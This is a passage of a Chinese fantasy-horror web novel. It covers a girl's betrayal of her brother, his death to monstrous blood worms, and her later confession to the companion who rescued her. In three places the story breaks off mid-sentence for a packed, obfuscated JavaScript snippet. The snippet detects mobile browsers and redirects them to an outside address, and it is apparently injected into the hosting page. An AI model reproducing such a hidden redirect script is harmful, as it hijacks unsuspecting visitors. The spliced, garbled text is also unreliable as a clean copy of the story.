萧喜顿在原地,望着萧吉,她窘迫地站定,浑身不由自主地颤抖,她其实不敢与萧吉对视。她也完全没有想到,三侨会在这个时候把哥哥带过来,她以为哥哥会被他直接杀死。 可是无奈的是,她闪烁的眸光还是被萧吉精准地捕捉到了,那个眼神……分明是带着悲戚和失望的。看来,三侨已经将她和金瑶蒂的事情告诉过了他。 萧喜终于知道自己被人从头耍到尾,是什么样的感受了,她知道自己被三侨坑骗了,但是她没有想到三侨做的事情会这样彻底。 从一开始,金瑶蒂遭遇不测本就是定局。 萧喜是被有意安插进来的多余棋子,她走向的更变,不会改变既定的结局,但是她的存在具有意义,她曾经想过自己身上究竟有什么值得三侨如此大费周章,也要得到的价值,如今她已经全然明白。 三侨要的,的的确确是她的背叛,而这个背叛的作用,比想象中还要具有威力。因为,三侨要萧喜当着萧吉的面背叛他。 这么做,会让萧喜陷入无限的自责,会让萧吉和萧喜之间的兄妹情感破裂,至于破裂的原因,三侨自认为这是属于他们自我消化的东西,萧喜并不会怨恨哥哥,而会直接将仇恨迁怒到金瑶蒂身上。 萧喜不敢面对,可是她的身后是无止境的怪物的咆哮,她没有退路。所以她也没有时间和萧吉解释这一切,她觉得萧吉永远不会原谅她了。 三侨和他的两个下手冷冷地站在雨中,看着这场闹剧,发出森然的笑声。而在他们的眼皮子底下,萧喜他们除了能给他上演这处引人发笑的闹剧以外,再无价值,一旦时机成熟,三侨想要弄死他们简直比碾死蝼蚁还容易。 他们都逃不掉这个死局。 而萧喜恰巧是这场死局的开端人,多么罪孽的头衔,她想辩解、想解释?可是她的的确确对金瑶蒂生出过邪念,也的的确确答应了三侨的条件,她做过了这些事,亲手的。所以,她又有什么资格替自己辩解?反正,早就已经无济于事了,不是吗? 多么无力,多么钻心。 她觉得三侨以这样的骗局耍弄他们,是比直接杀死他们还要残忍的,折磨身体远不如折磨人性的更能让人印象深刻。 金瑶蒂还没有搞清楚情况,她定在萧喜和萧吉两人之间,茫然地感受着沉重的氛围,不好的预感让她的心神逐渐冷却下来。 久久无声……所有的感情都浓缩在兄妹两人的眼神里,而金瑶蒂自知识趣地不加入其中,刚好印证了她与萧喜承诺过的那句“主动退出”。 台风加剧了,卷着雨水疯了一样地扑打着所有事物。那群怪物大军受到强大的风阻,不由得也慢下了脚步。 然而就是这时候的短暂阻碍,让那群浩浩荡荡人们忽然停住了蹒跚的步伐。他们好似再一次达成了某种共识,所有人的动作整齐划一,扭曲着躯体走向街道,然后再猛然倒地,再也不起,掀起的血风排山倒海而来,他们终于步入死亡。 这里的街道还算繁华,高楼几幢,高处的楼宇方能遮一遮雨,宽大的檐角下挂着的灯笼因而幸免于难,而挂在矮处的灯笼,早已一个个被开了膛破了肚。 微弱的灯光自高处洒落下来,照亮了瓢泼的雨,丝丝相连,因为速度飞快而难以捕捉它们的走向。淋过了雨水的灯光落在街道上,无数尸骸倒在两边,血淋淋的一片,只有轮廓,没有具体的模样。 街道上的尸骸在不断增多,血色的虫子也越来越多。 在人们死后,他们的胸腔便会由内而外地被破开,破开的血口会爬出数以万计的蠕虫,逐渐包围尸体,享受美餐。 随着尸体越来越残缺,虫子的大小也会越来越大,直到最后,一具躯体早已无法满足它们的胃口。它们会紧跟已经变得浩大的蠕虫军队,加入街道游行的队列,左右摇曳着,搜刮路边倒地的尸山血海,它们一口就能吞下一具成年男子的躯体,吐出的骨头则被它们巨大的虫身压到地下,被血色的粘液牵动前行。 它们的模样很像一种肉虫,蠕动爬动时,沉重的身下拖曳着血色的粘液,粘液底端沾染着残碎的人骨,它们长着庞大的血口,森白的牙密密麻麻,它们每行走一寸,就会向街道边缘扫去一场血风,恶心,糜烂。 血蠕们疯狂地享受起了美餐,他们的注意力不再放在萧喜和金瑶蒂的身上。但它们的步伐还是没有停止,它们一边贪婪地啃噬尸体,一边朝前方继续行径,埋头寻找更多的尸体。 很快,街道中央存在的则不是仅仅用普通的目光便能完全打量到的东西,血蠕的躯体变得巨大,有如楼宇之高,比庆阳镇最高大的彩云楼还要高大…… 它们数量庞大,除了体量极大的血蠕以外,其他的都密集地分布在街道上的各个角落里。 金瑶蒂已经被吓晕了过去,倒在了满是血液的雨地上,无人搀扶。这里,只剩下了萧喜、萧吉,还要三侨等五人还保持着清醒。 萧喜根本不知道这些虫子是什么东西,她看着这些令人作呕的虫子,垂身一口口啃噬街边人类残骸,在收获到越来越多的恐惧时,也意识到自己的异化在不断加重。 萧喜的潜意识忽然在告诉自己,那些被体内虫子控制身体的行尸走肉们便是未来的自己。她是它们的同类,更是不久以后滋养它们愈渐庞大的身躯的盘中餐。 萧喜不寒而栗,她体内的血蠕再次作梗,引起一阵心悸。恶念再度不受控制地滋生,而她再次与之争斗。 她的眼睛离不开哥哥,萧吉因太过虚弱而无法说话,唯有他那双雨幕下映着微弱灯光的眼睛,还在传递着死气沉沉的讯息。可是,一如既往的眼神,落在现在的萧喜的眼里,却变成了怨恨她的标志。 “我没有……哥哥,我没有…….” 萧喜哭得很厉害,她很久没有像现在这样一般,哭得这么涕泗狼狈,在记忆里,唯有在心智未成的儿时对着哥哥无理取闹的时候,她才会如此。 她不知道哥哥有没有听到她的呐喊,她只知道哥哥的眼神从未改变。 此时此刻,她内心的两股力量再度开始博弈—— “萧喜,你这就开始动摇了?!你干嘛觉得愧疚难受!金瑶蒂本就该死!她可是害你哥哥的罪魁祸首!” “可是金瑶蒂也是受害者……” “不管怎么样!她的消失对你来说都是百利无一害的!” “不,不,我不想变成那个凶手!” “你都已经和三侨站到了一边,现在装什么无辜?!” “不!我没有……我没有!” “你没有什么?不管你有没有,你已经将事情做了!你现在在这儿忏悔有什么用!假惺惺的家伙就是你自己!” “……” “……” 是啊,不管怎么样,历史不会重回过去,她虽然没有真正将置金瑶蒂于死地过,可是那些油然而生的邪念却真实而鲜活地出现过,她无法否认自己被邪念操控的事实,也无法为自己辩解,因为她已经成为了助纣为虐之人,罪孽的后果她必须承担。 杀人者,不配得到同情和原谅,尽管在死到临头的时候,她也由衷地求饶忏悔过…… 萧喜,你没有资格!你就是杀人者! 萧喜忽地不再说话,她眼神混沌下来,立在雨幕中,任由它们变成利刃,一刀,一刀地插入她的心。 三侨的笑声一直没有停止过,且愈来愈猖狂,最后完全不能自己,他笑得面目狰狞,身躯因为过于激动的情绪而变得歪斜畸形,叫人看得毛骨悚然。 他的报复,终于落实了。他怎么会不开心?邪念得到了满足,血蠕情绪高涨,穿梭在他的□□之中,暴露的血肉里迸发着激进的脓液,脓液深处爬着无数密密麻麻的蠕虫,而三侨好似完全感觉不到疼痛,他只觉得亢奋,癫狂。 还没有结束,还没有…… 兄妹之间的互相折磨、萧吉的心灰意冷、萧喜和他一样陷入满是血蠕的万劫不复的深渊…….这些还远远不能满足他畸形的心理。 他还想要死亡带来的极妙的视觉享受! 他要杀人,先杀谁呢? 三侨贼眼扫了一遍萧喜和萧吉,萧喜被他种入了血蠕,本就活不了多久,或许很快那些被养肥的血蠕会直接将她吃掉……她必死无疑,但如果让她死前……亲眼目睹萧吉的死会怎么样?那样,她会一直活在害死所有人的阴影之中,痛苦会折磨得她不成人形,直到最后,只能等待死亡赐予解脱。 那就先杀萧吉好了! 怎么杀呢?虐杀……先砍手还是先砍腿?先挖眼,还是先割耳呢?还是一点一点地割开他的皮肉,再抽筋剥骨呢? 三侨对此格外考究。 可就在此时,他身旁的两位下手忽地发出因过度惊恐,而发出的牙齿战栗的“咯咯”声,他们不愿自己再在这儿浪费时间,于是越矩道:“三侨大人!你看那边!好好好……像是仙……仙仙机门!不,不……那就是仙机门,那是他们的气味,我们不会认错!还请大人速速带走金瑶蒂去往盛京!否则,后果将不堪设想!” 三侨猛地回神,那句“仙机门”让他着实浑身上下哆嗦了个遍!他没时间计较那两个下手没规矩的行为,他将目光沿着他们指出去的方向看去。 果然,本来西侧晦暗的街道尽头,不知什么时候亮起了冰蓝色的冷光!仔细一看,居然还有两条一大一小的水龙遨游在黑云之上,漫天骤雨被他们卷在身上,越来越大,龙吟之声响彻天际。 一些白色的身影穿梭在布满血色的大街上,刀剑划开雨幕时,激出道道电光火石般的裂纹,锃亮的剑身反射出刺眼的闪光,一道一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735512|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道地割在那些血蠕的身躯上,血水从爆开的身躯上方向四方迸射,发出巨大的“哗啦啦”的水流声。仙机们带着无数的人马忽然逼近,一路扫荡着,简直所向披靡! 三侨傻了眼! 他虽然从未领教过仙机门的厉害,但是多多少少也能从黑影大人那头了解不少。对于他们这样的邪物,仙机门绝对不会放过。三侨和那两个吓得快要丢了魂儿的下手一样,他张狂的邪笑早已消失,脸上布满了仓皇和恐惧。 可是,仙机门不是远在南海的岛上吗?他们跑到庆阳镇,怎么可能毫无动静?!他不知道就算了,黑影大人肯定是知道的啊!所以说,黑影大人……这是故意不告诉他的,为什么,为什么?! 三侨忽然反应过来,大人给他安排的任务行动时间,不仅仅和血蠕暴动的时间一致,还跟仙机门出动的时间一致! 这怎么可能是巧合!黑影大人分明是故意将这三个时间安排起来重合的,他早就知道了这一切!而且,黑影大人也早已洞悉三侨的想法,他虽然从没有交代过除了金瑶蒂以外的事情,但他知道三侨在重回庆阳镇后,定会燃起报复之心! 那岂不是说明了,大人早就知道了金瑶蒂和萧喜萧吉之间的关联,包括之前三侨和他们的恩怨……大人也是全然了解的! 难怪大人会选择不遗余力地将他复活! 可是。 黑影大人这么做可是差点要了他的命!但大人分明交代了他带走金瑶蒂的任务啊!这岂不是自相矛盾?! 不对,大人或许本来就没有想过要他的命!黑影大人那样一个连三侨的心思和行动都能完美预判的人物,如果真的要他的命,定不会给他留有任何出逃的后路。黑影大人要的,究竟是什么? 黑影大人真正的目的不可能是金瑶蒂!而是……仇恨,他利用三侨,增大了三侨内心仇恨的分量,从而能用血蠕更好地控制他。而三侨继续利用萧喜,增大了萧喜内心仇恨的分量,从而能用血蠕控制她,还能报复萧吉…… 每一环节,都围绕着“仇恨”抑或是“恶念”,它们似乎都是血蠕的代名词。 黑影大人貌似格外注重“仇恨”的力量,也就是血蠕的力量。 三侨尽管慌乱,可还是敏锐地捕捉到了萧喜盯住他的眼神,仇恨,恶毒,三侨不由得一悚。 萧喜的仇恨不知道什么时候从金瑶蒂身上转移到了他的身上,三侨下意识觉得自己充当了一只替罪羊的身份。 难道,这就是黑影大人利用他真正的目的么?让他以替罪羊的身份出现在萧喜面前,任由她将仇恨全然释放到他身上…… 三侨不愿再被这样的眼神盯着。 “还愣着干什么!还不快把金瑶蒂拖走!至于萧吉,快快快,看到那边的血蠕没有?!给我喂给它!萧喜反正横竖都得死了,就不用管了!速度点!” 三侨手忙脚乱地踩上马车,指挥着。 那两个下手的动作比平时还要麻利爽快,他们力大如牛,各拎着萧吉的一双手,一把将他抛出老远。萧喜连忙跟在后面冲过去,妄想能凭借自己的一己之力接住他,结果终究是自欺欺人,哥哥落入了长着血盆大口的蠕虫口中。 萧喜觉得自己的心脏瞬间死去了,她好像忘记了呼吸的方式。 马车声动,金瑶蒂被人强行塞入轿子,辕马踩着狂野的步伐,踏过水坑,渐行渐远……直到再也听不到了动静。 瘦弱的女孩忘记了恐惧,她目着不停流泪的眼睛,站在浑身沾染了血泥的血蠕身下,血蠕长满无数排的锋利牙齿不断嚼动着萧吉的身躯,骨头都未曾舍得吐掉,它强悍的咬合力让崩裂的骨头发出“咯吱……咯吱”的声音。 血腥味又浓厚了好几分,它们是萧吉的味道。 萧喜的胃水终于耐不住,开始翻滚起来,她真的很想恶吐一番。 那只血蠕好似还不满足,它注意到了身下的萧喜,强烈的食欲让它不再顾忌萧喜体内的“同伴”,于是它欢快地扭曲起了身体,想要弯下蠕动的软体,将她也吞掉。 萧喜的身子已经麻痹,无法动弹,她逃不掉,也不想逃。 哥哥死了,金瑶蒂生死未卜。 她凭什么还活着? 要是,她也死了就好了,死了就能赎罪了。 萧喜闭上了双眸,等待残酷的命运降临到她的身上。 可就是在这个时候,清冷又稚嫩的声线打断了萧喜渐沉渐深的绝望。 “你是傻子吗?” 这是个少年的声音。 萧喜知到他的意思——“遇到危险却不躲,你是傻子吧?” 少年用强悍的手劲儿拽住了萧喜的后领,以飞快的速度向后拖行。没等萧喜回神,天空上响彻一声龙吟,猛地往那只恶心的血蠕杀过去。 她刚要回眸看清那个少年的模样,却感到身后的穴位被重重击下,她晕了过去。 再后来的事情,便不必多说。 萧喜遇到了她的师父,一个邋遢还不太正经的糟胡子老翁。严格意义上来说,她的师父不仅仅只是她的救命恩人,或者是教授她知识和法术的恩师,他更是在那段痛苦时光中,将她拉出无妄深渊的神明。 所以,她很感谢师父,也曾因为师父的忽然消失,而神伤了数年之久,到现在还有些走不出来失去他老人家的阴影。 124. 忆往思苦 萧喜的思绪已经从六年前的夏季飘回了六年后的沧凌城,雨夜收幕,今晚是晴夜。 月色升得更高了,因刚至月初,月色残缺着,光芒并不明亮,倒是飘渺得很,清冷的韵味因此更上了一层楼。 六年光景既过,足以让一切变得物是人非,而月亮总是高挂,月月阴晴变换,泰然自若,安安稳稳着。 萧喜和朗月坐在布满烟火气息的河岸边,身边静静的河水平静着将残缺的天色与朦胧的月景映入其间,若是思绪飞舞,还能觉得这卷江月相对的画卷,是它们心照不宣的象征,它们就这样天地相隔着,不知相望了多久。 “不知江月待……什么人,”萧喜技拙,但还是招架不住脑中的灵光一现,她看着眼前景色,没忍住将这句令她感到无比怅惘的诗句念出了口,奈何,她还是高估了自己的能耐。 坐在她对面的朗月沉静而低沉的眸光终于慢慢抬起,他温和地看着他,接了上去:“不知江月待何人,但见长江送流水。” 萧喜难为情地同朗月对了个视,有些窘迫。 朗月对此毫不在意,他示意她看向他们身边河岸栏杆外的那片河水,说道:“任何事情都会随着时间的变化而不断更迭。过去的事情虽然已经发生,但生活的脚步永远不会止息,我们要向前看,萧喜。” 朗月话末忽然点起她的名字,倒有些“这些话和道理是专门与你说”的私有专一感,让萧喜的心里莫名暖得厉害,她眼眶湿润着,真诚地发笑:“谢谢你,朗月。” 话末,她也学着他的样子,赘上了他的名字。这是回馈。 “从你说的这些过去看,你早就知道当年做出那些事情,完全是出于三侨用血蠕勾动你心中恶念而引起的,但你一直不肯放过自己,至少在那天晚上你碰到你哥哥萧吉之前,你都是这样逼迫自己背负罪责的。” 朗月回眸,继续道。 萧喜很自然地应道:“是这样,因为,不管我到底是不是被血蠕操控了,那些因我导致的结局都已成注定,我一直觉得辩解和逃脱责任毫无意义,我亲手做过那些事情,本就不配为自己寻找理由。说白了,我就是不愿意放过自己,逼迫我承受痛苦,不让我心安理得地活着,我就能获得某种安慰似的,就像赎罪一样。” 比起之前萧喜谈及往事时痛苦纠结的模样,现在的她,好似已经能够主动面对这些残忍的过去了,她倒是展现出了稍许豁达的态度。 “萧吉在苏府那晚说的那些话,究竟是如何改变你的?”朗月静静看着她。 “那天晚上,他跟我说,‘当年夜晚,在我看到三侨的那一刻,我就知道了所有的隐情,所以我从未因为这些怪过你’。当年三侨肯定提前告诉过哥哥关于我背叛他和金瑶蒂的事,但三侨绝不会提前告诉哥哥,他与我交易的内容……譬如他是利用我和哥哥的兄妹情,才威胁我主动将金瑶蒂交出去的……譬如那个要带走金瑶蒂的歹人不是别人,就是三侨他自己。” “因为,三侨本来的目的就是想在我和哥哥死前,利用金瑶蒂让我们兄妹两人以互相仇恨的方式,给他带来心理上复仇的快感。只是,比起相信三侨,哥哥更相信我。 所以,六年前的那个夜晚,哥哥在未知情的情况下同时见到三侨、我和金瑶蒂的时候,他或许就已经明白了,三侨就是那个意图绑走金瑶蒂的罪魁祸首,而他会明白他的妹妹之所以走到这一步,很可能是三侨拿他的安危威胁了妹妹。那时他的生死也的确被三侨握在手里。 我其实都明白这些,真的。我只是不愿意放过自己,也不配为自己开脱罪责,也不愿意相信,哥哥会容忍我犯这么大的错。前几天的那个夜晚,在哥哥说出那句隐情的话时,你知道我心里又多难受,多愧疚吗?可是又觉得很温暖,哥哥,至死都相信着我,比我自己还爱我。” 萧喜默默埋下头,盯着桌案上已经冷却了的杯水,看河岸灯火映照下,水杯中晃荡而缩小的她的眉眼和面孔。 “其实我心里一直畏惧又忘不掉的,是六年前雨幕下,看到的哥哥死前那所谓的绝望而怨恨的眼神,那也是我欺骗自己、逼迫自己伏诛于过去恩怨的手段。血蠕在体,宿主看到的所有一切,都会被涂抹上怨恨和阴邪的色彩,或许,那时候的哥哥眸中的情绪只是绝望和无力,但在我眼里,那都是怨恨的。若非要说上仇恨之事,哥哥……一直怨恨的反而是他自己。” 萧喜苦涩地说道,说到最后,语气已经颤抖。 “血蠕在体,宿主必死无疑,当年三侨之所以没有对你做出多余的伤害,有这个原因。可你……究竟如何得以摆脱?当年的你,只是个十二岁的孩子,你……如何……” 朗月控制不住着蹙眉,他无法想象,亦是不敢想象六年前那场残酷的杀戮,究竟给萧喜带来了什么,他光是话语中提及一些边缘性的内容,就足以令他的内心为之而颤,他很心疼那个无助的少女。 命运的残酷,无力的反抗。 萧喜的过去,远比他想象的还要令人摧心剖肝。血蠕的啃噬,卑微的呐喊,剥离控制时意识的两级分裂……何等的痛苦,那些对□□和精神的剖削,正常的孩子经历了这些,就算是不死,也定是要疯了。 而萧喜身为那场灾难中存活下来的人,如今说起当年事情时的反应,都不及朗月一个外人表现得紧张而无奈。她仿佛是早已看淡世事的蹉跎老者,成熟淡然四个字,在她身上有着淋漓尽致的体现。 但她的这些表现,只是几日前刚拥有来的。 曾经的她受困于记忆的牢笼,她不愿出来,也无人愿意救她。 说起来,萧喜当真该感谢朗月,他已经不止一次地向她伸出援助之手,她知道他冰冷的外表下,一直都包裹着一颗滚烫而细腻的心。 所以,萧喜作为一个不愿与旁人主动提及过去的人,在面对朗月时,她却并无抵触之意。再者,朗月也早已见证了关于她的无数事情,如今遮遮掩掩,貌似也不体面,而且,她保证过她会对他这个莫逆之交尽量敞开心扉,缩短冰冷而难以触碰的距离感。 朗月问她如何摆脱血蠕的控制,萧喜只是稍许迟疑了些,但还是很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740390|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快就回答了他的问题:“因为一串冰糖葫芦。它是我此生尝过的第一串也是唯一一串糖葫芦,可惜,它并没有我想象得那么好吃。 六年前的那晚,雨还在下,我被一个能够操控水龙之术的少年救下,他应当是仙机门的人,在我还没有看清他的模样时,他就在我背后颈部的穴位上用了你们门中习以为常的消忆咒。 可惜的是,那少年貌似经验不足,那个穴位点得真是又疼又没用,导致我至今还记得当时所有的事情,以至于我在平台镇知道你是仙机门人的时候,还特地提前做好了不让你给我下消忆咒的准备。 不久之后,我醒来了,在一座破旧的庙里,遇见了一个糟胡子老翁,就是我与你说过很多次的我的师父。 师父不让我出去走动,说是外面的血腥杀戮可能还没有结束,而且仙机门那时候也在全镇巡逻,他很不希望我被发现,虽然我也不知道究竟是什么原因,只知道他格外忌惮仙机门。 我醒后没多久,师父就带着我去了庆阳镇的郊外落脚。次日,我发现你们仙机门的人都不在了,就趁着师父睡觉的时候偷偷跑回了镇上…….我回到了那条如同噩梦般的茹玉街道,昨晚铺满街道的尸骸血蠕都已经消失得一干二净,好像那样恐怖的事情从未发生过一样,但那两串遗失在街道上的冰糖葫芦却打破了我的幻觉,昨晚不是梦,事情已经发生。 那两串冰糖葫芦的模样已经变得惨不忍睹,外面包裹着的糖衣被雨水冲烂,红彤彤的山楂球上满是脏兮兮的灰尘。我对此毫不嫌弃,鬼使神差下,我捡起它们吃下,外面厚厚的尘土很干很苦,里面的山楂球没有了甜味只有涩涩的酸味,真的说不上好吃。 但也绝对不会难吃到叫人想哭,可是我却一边吃一边哭,心里很疼很疼,我感觉到有东西在我的心脏里钻来钻去,感觉到有东西正从我的意识里拼命剥离,我觉得头昏脑胀。 等我反应过来的时候,就已经感觉到自己心上的负担减轻了很多,而我的脖子后忽然出现了一个口子,我摸着那个疼痛的伤口,在我身后看到了一团烂成了肉泥的血块。 很快,我发现,那根本不是什么血块,而是无数只细小的已经死去的血色蠕虫聚集在一团的肉球,这些虫子,很像我昨晚看到的那些遍布大街小巷的蠕虫。 后来,我就回到师父身边了。他醒来后好像很惊讶,一下子失言,说我体内的东西居然被我自己逼出来了,但是当时他并不肯告诉我被我逼出来的究竟是什么东西。 在很久以后,我才终于在师父那里知道了那个曾经在庆阳镇掀起腥风血雨的怪物叫做血蠕,是一种可以寄生于人体内,通过人心的邪念控制宿主的恐怖物种。也是那个时候,师父告诉我它非人非神更非妖。 所以,我也知道了,那个被我逼出体内的东西就是血蠕,也知道六年前的自己原来被三侨在体内种入过此物,并被控制了心神。” 萧喜说罢,松懈下了一口气。她端起了眼前的那杯冷茶,自顾自地灌入了喉中,微冷,但恰到好处地浇灭了她内心愈发加重的愁闷。 125. 心悸之始 “这些年来,你过得如此辛苦,背负了那么多,却还能坚持活着……是不是和你在暗曹营不惜生命的代价换取灵根和记忆有关?你究竟,还想要得到什么?” 朗月慢着声线,轻声问道,尽管语气平淡,却带着隐隐约约的关照。 “因为我知道金瑶蒂还活着,她已经成为了我活下去的希望。我想去找到她,帮她脱离黑暗。庆阳镇的那个名叫青灯的妖怪不也说过么,现在的她过得很不好,但她却救不了她,既然如此,我就去救。我想弥补那些过错。 曾经的我不是没有想过一了百了,但那个少年救下了我,师父救下了我,命运如此,师父说,我身上肩负使命,所以天道才不会放过我。 我想,那所谓的使命,就是弥补过错,救赎金瑶蒂,也是救赎我自己。 当然,我自然知道凭借凡人之躯,根本不可能做到,所以我花了很大的功夫千里迢迢寻找江湖传说中的暗曹营,不惜一切代价去往平台镇向詹远证明自我,就是为了得到灵根,有了它,我才能去救人。” 萧喜眼神逐渐坚毅。 她眸子忽地动了动,似乎突然想起了什么,她看向朗月:“对了,你和那个少年都是仙机门的人,或许你以后还能遇到他,若是你能替我向他道一句谢就好了。” 朗月心神空空,他不是不知道,萧喜口中的那个“少年”就是他自己,他听着萧喜话中的感谢之意,却并不觉得多么开心,他顿了顿,说道:“你……当真是至始至终……都感谢他吗?” 萧喜微怔,显然她没有从朗月的话里反应过来。 “六年前的你……应该很讨厌他才对,对于那时候的你来说,死亡才是最好的解脱,而他却硬生生地替你做了让你活下去的决定。 这么多年来,你痛苦了多久,你难过了多久?你不愿意放过自己,你承受灵根播种之痛……他救下了你,真的让你快乐过吗……他只是延长了你痛苦的时间……不是吗?” 朗月神色并不自然,他说出这些话时,心里很疼,却不是他骂自己时而感到的羞耻引起的。他由衷地替萧喜感到难过。 萧喜不得不承认,朗月的话的确是她曾经拥有过的真情实感,但那也只是过去的事情了。 她自知说谎逃不过朗月的眼睛,索性败下阵来,但这也仅限于承认,却不做正面回应,她干涩地弯了弯唇角,故作一副开玩笑的模样说道:“你这什么意思,难道还希望我早亡不成?” “萧喜,我是认真的,”朗月忽然意识到现在他的态度是太越矩了,于是很快掐灭了想以原本的情绪继续说下去的念头,他像个犯了错的孩子,默默垂首下去,不再看她,“你知道的……我没有你说的那种意思。” “逗你的,别紧张嘛,”萧喜失笑,继续道,“而且,你说,那个少年救下我后给我带来的只有更多的痛苦,这句话是大错特错的!而且你这样说,也特别让自己掉价,你知道吗?” 朗月没太听懂她最后那句话的意思,楞道:“什么?” 萧喜眉眼弯了弯,嘴角的笑终于不再苦涩,反而冁然起来,她肿胀的眼皮也遮不住她明亮的目光,而这明亮的目光直直看着朗月,她的语气虽谈不上郑重,但却毫不含糊。 “至少在那场灾难活下来后,老天让我遇见了你,和你在一起的时光里,我真的很开心,也因为你,我才解开了捆缚自己多年的枷锁。朗月,你的存在,便像是光亮一般,猝然出现在我的生命里,你的光芒,从不刺眼,反而格外温暖。” 朗月被她盯地愈发出神,他好像有些控制不住自己,他舍不得移开看向她的目光,总感觉有什么东西在他的内在里默默生长……挠得他觉得满心满脑地痒。 萧喜以为是自己的话太肉麻了,才让朗月看起来愈发不对劲,于是她见好就收,立马移开目光,挠了挠头发,尴尬地说道:“其实,也因为我活了下来,才遇到了同样温暖我的师父,遇到了有趣诙谐的芍七……也有机会去拯救远在盛京的金瑶蒂……总之,我已经知足了,而且现在也是真心实意地感谢六年前救我于水火之间的少年郎。以后你要是碰见他了,就和他说说,我现在活得很好,特别感谢他。” 说罢,萧喜偷偷用余光瞥了眼朗月,发现他的目光还是紧紧盯着她不放,甚至他发现了她偷偷看他的目光后,还毫不掩饰地同她对视了一番。 更……更尴尬了。 萧喜立马补充道:“不……不过,你要是觉得麻烦什么的,不说也没……” “好,我答应你。”还没等萧喜把那口到处给自己找台阶下的措辞说完,朗月就已经说道。 “……好。”萧喜应了句。 萧喜在刚刚的话里,因为情况太过焦急,她竟忘了避讳一个人的名字,那就是“芍七”。 自从那晚封印破灭后,芍七就消失不见了。相对于并未进入封印之剑的幻境中的朗月来说,萧喜其实对这样的结果已经有所预料,她起码还有一段做心理准备的缓冲时间,但是朗月并没有。 他要在不知情的情况下,亲眼看到芍七变回“少七”后,又要眼睁睁地看着对方离开自己……那是非常残酷的。 萧喜看的出来,朗月平日里虽然没少教训他的这个剑灵,而芍七也没少瞎说话、以下犯上过,但正是这样界限模糊的相处方式才能让他们生出这般深厚的感情。 对于朗月来说,芍七并不是他随意差遣的手下,而是相依相伴的挚友和知音。而对于芍七来说,朗月也不是他不敢忤逆的主子,则是他万分信赖又甘于臣服的伙伴。 就是这样有着匪浅关系的两个人,突然某一天面临永别的结局,该会给他们带来多重的打击?萧喜真的无法想象。 今日午后她醒来,看到还在沉睡时的朗月是那副疲惫颓丧的模样,他还顶着一双足以跟她一较高低的泪眼时,她第一时间想到的,就是朗月是因为芍七的突然离别才会泪崩的。 虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741793|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现实远比她想象的还要残酷,但她想到的这些,也的确是致使朗月难过落泪的原因之一。 萧喜那时候,其实都已经为自己准备了千般安慰朗月的说辞了,可惜最后并没有派上用场,因为一整天下来,朗月都从未提及过芍七,也从未在她面前流露出任何有关此的情绪。 萧喜其实一直都知道,朗月这么做绝不是对此不在意,而是在刻意逃避这些。他可能不想将自己柔软脆弱的一面展露在萧喜面前,而萧喜也不敢确信他这么做,到底是他想要与她保持距离,还是他天性如此,惯于埋葬自己的内心,惯于隐瞒自己的情绪。 也可能这两种原因都有,但萧喜觉得,在这方面上,后者原因的成分会多一些。 从前,朗月给她的感觉都是冷冰冰的,好似没有自己的感情一样。可越到后面,她才发现这个少年也会因为被人欺骗而恼羞成怒,也会因为心生怜悯而倾现自己细腻温暖的一面,也会因为别人不经意间的挑逗而展现出少年人害羞单纯的一面。 这次,朗月背着她偷偷伤心落泪的事情,也让她更加深刻地意识到,他真的有太多不为人知的一面,可却总是喜欢隐忍。 他不是没有情绪,只是他一直压抑着自己的本性罢了。 可是,因为朗月,萧喜才明白,心里面难受的事情一直憋着才是最不痛快的做法。 因为朗月已经有足够的条件成为那个了解她的人,所以,她才有机会将那些埋在心中六年多的困惑和痛苦诉说出去。她说出来后,才知道直面过去远比逃避要舒心太多。 但朗月怎么到他自己这里,反而不懂这个道理呢,或许他明明懂,却没有勇气跨出这一步吗?解放天性的这一步…… 那她也是时候该充当一下那个主动者的身份了。 此时,朗月也确实因为那个被萧喜偶然提及的名字,而陷入低沉的气氛里。 萧喜很快进入了状态,并不打算再避讳芍七的名字,而是主动提起了话头:“其实,我还有一些关于芍七的事情要告诉你,你应该也很想知道芍七为何会突然变了模样,又为何会与苏府祠堂封印中的妖怪少五牵扯上联系,最后又为何会离你而去吧?” 朗月震惊地看着她,口半张了张,又很快闭上,分明一副欲言又止的模样,挣扎犹豫了半天,他还是一句话都没说。 他其实很想知道,却碍着从小习以为常的与人相处需谨记避讳的脾性,而不知道该怎么去问清楚话。 他也不知道,如何在面对萧喜的时候,敞开心扉,去谈及自己阴暗的过去和内心中真实的想法。他是个隐忍成性的家伙,在人际交往上,技巧着实拙劣。 他将心事藏了很久,甚至打算将它们一直藏下去,却未想萧喜会主动打断他的念头。 从发现距离感,到现在主动深入他的心事……萧喜其实是一直愿意了解他的吧,甚至说,她是真心实意地关心他。 